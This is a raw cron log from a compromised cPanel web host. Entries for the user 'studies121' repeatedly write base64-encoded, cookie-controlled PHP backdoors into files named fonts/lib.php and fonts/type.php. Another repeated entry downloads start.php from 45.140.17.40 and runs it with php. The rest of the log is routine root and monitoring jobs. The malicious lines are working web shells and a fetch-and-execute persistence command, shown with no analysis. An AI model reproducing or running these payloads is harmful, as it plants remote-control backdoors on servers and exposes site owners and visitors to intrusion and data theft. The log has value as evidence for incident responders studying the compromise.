Sep 12 18:13:02 ip-184-168-122-23 CROND[4268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:13:02 ip-184-168-122-23 CROND[4269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:13:02 ip-184-168-122-23 CROND[4272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:13:02 ip-184-168-122-23 CROND[4270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:14:01 ip-184-168-122-23 CROND[4360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:14:01 ip-184-168-122-23 CROND[4359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:14:01 ip-184-168-122-23 CROND[4362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:14:01 ip-184-168-122-23 CROND[4361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:14:01 ip-184-168-122-23 CROND[4363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:15:01 ip-184-168-122-23 CROND[4463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4466]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:15:01 ip-184-168-122-23 CROND[4467]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 18:16:01 ip-184-168-122-23 CROND[4578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:16:01 ip-184-168-122-23 CROND[4580]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:16:01 ip-184-168-122-23 CROND[4579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:16:01 ip-184-168-122-23 CROND[4581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:16:01 ip-184-168-122-23 CROND[4584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:16:01 ip-184-168-122-23 CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:17:01 ip-184-168-122-23 CROND[4771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:17:01 ip-184-168-122-23 CROND[4772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:17:01 ip-184-168-122-23 CROND[4774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:17:01 ip-184-168-122-23 CROND[4773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:18:01 ip-184-168-122-23 CROND[4869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:18:01 ip-184-168-122-23 CROND[4871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:18:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:18:01 ip-184-168-122-23 CROND[4874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:18:01 ip-184-168-122-23 CROND[4876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:19:01 ip-184-168-122-23 CROND[4961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:19:01 ip-184-168-122-23 CROND[4962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:19:01 ip-184-168-122-23 CROND[4964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:19:01 ip-184-168-122-23 CROND[4966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:20:01 ip-184-168-122-23 CROND[5082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:20:01 ip-184-168-122-23 CROND[5092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:20:01 ip-184-168-122-23 CROND[5087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:20:01 ip-184-168-122-23 CROND[5094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:21:01 ip-184-168-122-23 CROND[5188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:21:01 ip-184-168-122-23 CROND[5191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:21:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:21:01 ip-184-168-122-23 CROND[5198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:22:01 ip-184-168-122-23 CROND[5370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:22:01 ip-184-168-122-23 CROND[5372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:22:01 ip-184-168-122-23 CROND[5373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:22:01 ip-184-168-122-23 CROND[5374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:22:01 ip-184-168-122-23 CROND[5375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:23:01 ip-184-168-122-23 CROND[5468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:23:01 ip-184-168-122-23 CROND[5473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:23:01 ip-184-168-122-23 CROND[5475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:23:01 ip-184-168-122-23 CROND[5476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:24:01 ip-184-168-122-23 CROND[5557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:24:01 ip-184-168-122-23 CROND[5559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:24:01 ip-184-168-122-23 CROND[5561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:24:01 ip-184-168-122-23 CROND[5563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:24:01 ip-184-168-122-23 CROND[5560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
